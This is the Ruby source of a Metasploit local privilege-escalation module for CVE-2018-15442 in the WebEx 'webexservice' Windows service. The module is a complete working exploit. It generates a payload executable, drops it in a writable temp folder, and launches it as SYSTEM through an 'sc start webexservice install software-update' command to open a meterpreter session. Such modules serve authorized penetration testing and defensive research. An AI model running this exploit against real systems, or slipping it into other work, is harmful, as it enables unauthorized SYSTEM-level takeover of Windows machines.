This Metasploit module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM, can be used to run arbitrary commands locally, and can be started by limited users in default installations.
2b248ba2b86d0a4dfcd16b0c774febf2
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = GoodRanking
include Msf::Exploit::EXE
include Msf::Exploit::FileDropper
include Msf::Post::File
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Services
include Msf::Post::Windows::Accounts
def initialize(info={})
super( update_info( info,
'Name' => 'WebEx Local Service Permissions Exploit',
'Description' => %q{
This module exploits a flaw in the 'webexservice' Windows service, which runs as SYSTEM,
can be used to run arbitrary commands locally, and can be started by limited users in
default installations.
},
'References' =>
[
['URL', 'https://webexec.org'],
['CVE', '2018-15442']
],
'DisclosureDate' => "Oct 09 2018",
'License' => MSF_LICENSE,
'Author' =>
[
'Jeff McJunkin <jeff.mcjunkin[at]gmail.com>'
],
'Platform' => [ 'win'],
'Targets' =>
[
[ 'Automatic', {} ],
[ 'Windows x86', { 'Arch' => ARCH_X86 } ],
[ 'Windows x64', { 'Arch' => ARCH_X64 } ]
],
'SessionTypes' => [ "meterpreter" ],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'WfsDelay' => 5,
'ReverseConnectRetries' => 255
},
'DefaultTarget' => 0
))
register_options([
OptString.new("DIR", [ false, "Specify a directory to plant the EXE.", "%SystemRoot%\\Temp"])
])
@service_name = 'webexservice'
end
def validate_arch
return target unless target.name == 'Automatic'
case sysinfo['Architecture']
when 'x86'
fail_with(Failure::BadConfig, 'Invalid payload architecture') if payload_instance.arch.first == 'x64'
vprint_status('Detected x86 system')
return targets[1]
when 'x64'
vprint_status('Detected x64 system')
return targets[2]
end
end
def check_service_exists?(service)
srv_info = service_info(service)
if srv_info.nil?
vprint_warning("Unable to enumerate services.")
return false
end
if srv_info && srv_info[:display].empty?
vprint_warning("Service #{service} does not exist.")
return false
else
return true
end
end
def check
unless check_service_exists?(@service_name)
return Exploit::CheckCode::Safe
end
srv_info = service_info(@service_name)
vprint_status(srv_info.to_s)
case START_TYPE[srv_info[:starttype]]
when 'Disabled'
vprint_error("Service startup is Disabled, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Manual'
vprint_error("Service startup is Manual, so will be unable to exploit unless account has correct permissions...")
return Exploit::CheckCode::Safe
when 'Auto'
vprint_good("Service is set to Automatically start...")
end
if check_search_path
return Exploit::CheckCode::Safe
end
return Exploit::CheckCode::Appears
end
def check_write_access(path)
perm = check_dir_perms(path, @token)
if perm and perm.include?('W')
print_good("Write permissions in #{path} - #{perm}")
return true
elsif perm
vprint_status ("Permissions for #{path} - #{perm}")
else
vprint_status ("No permissions for #{path}")
end
return false
end
def exploit
begin
@token = get_imperstoken
rescue Rex::Post::Meterpreter::RequestError
vprint_error("Error while using get_imperstoken: #{e}")
end
fail_with(Failure::Unknown, "Unable to retrieve token.") unless @token
if is_system?
fail_with(Failure::Unknown, "Current user is already SYSTEM, aborting.")
end
print_status("Checking service exists...")
if !check_service_exists?(@service_name)
fail_with(Failure::NoTarget, "The service doesn't exist.")
end
if is_uac_enabled?
print_warning("UAC is enabled, may get false negatives on writable folders.")
end
# Use manually selected Dir
file_path = datastore['DIR']
@exe_file_name = Rex::Text.rand_text_alphanumeric(8)
@exe_file_path = "#{file_path}\\#{@exe_file_name}.exe"
service_information = service_info(@service_name)
# Check architecture
valid_arch = validate_arch
exe = generate_payload_exe(:arch => valid_arch.arch)
#
# Drop the malicious executable into the path
#
print_status("Writing #{exe.length.to_s} bytes to #{@exe_file_path}...")
begin
write_file(@exe_file_path, exe)
register_file_for_cleanup(@exe_file_path)
rescue Rex::Post::Meterpreter::RequestError => e
# Can't write the file, can't go on
fail_with(Failure::Unknown, e.message)
end
#
# Run the service
#
print_status("Launching service...")
res = cmd_exec("cmd.exe",
"/c sc start webexservice install software-update 1 #{@exe_file_path}")
if service_restart(@service_name)
print_status("Service started...")
else
service_information = service_info(@service_name)
if service_information[:starttype] == START_TYPE_AUTO
if job_id
print_status("Unable to start service, handler running waiting for a reboot...")
while(true)
break if session_created?
select(nil,nil,nil,1)
end
else
fail_with(Failure::Unknown, "Unable to start service, use exploit -j to run as a background job and wait for a reboot...")
end
else
fail_with(Failure::Unknown, "Unable to start service, and it does not auto start, cleaning up...")
end
end
end
end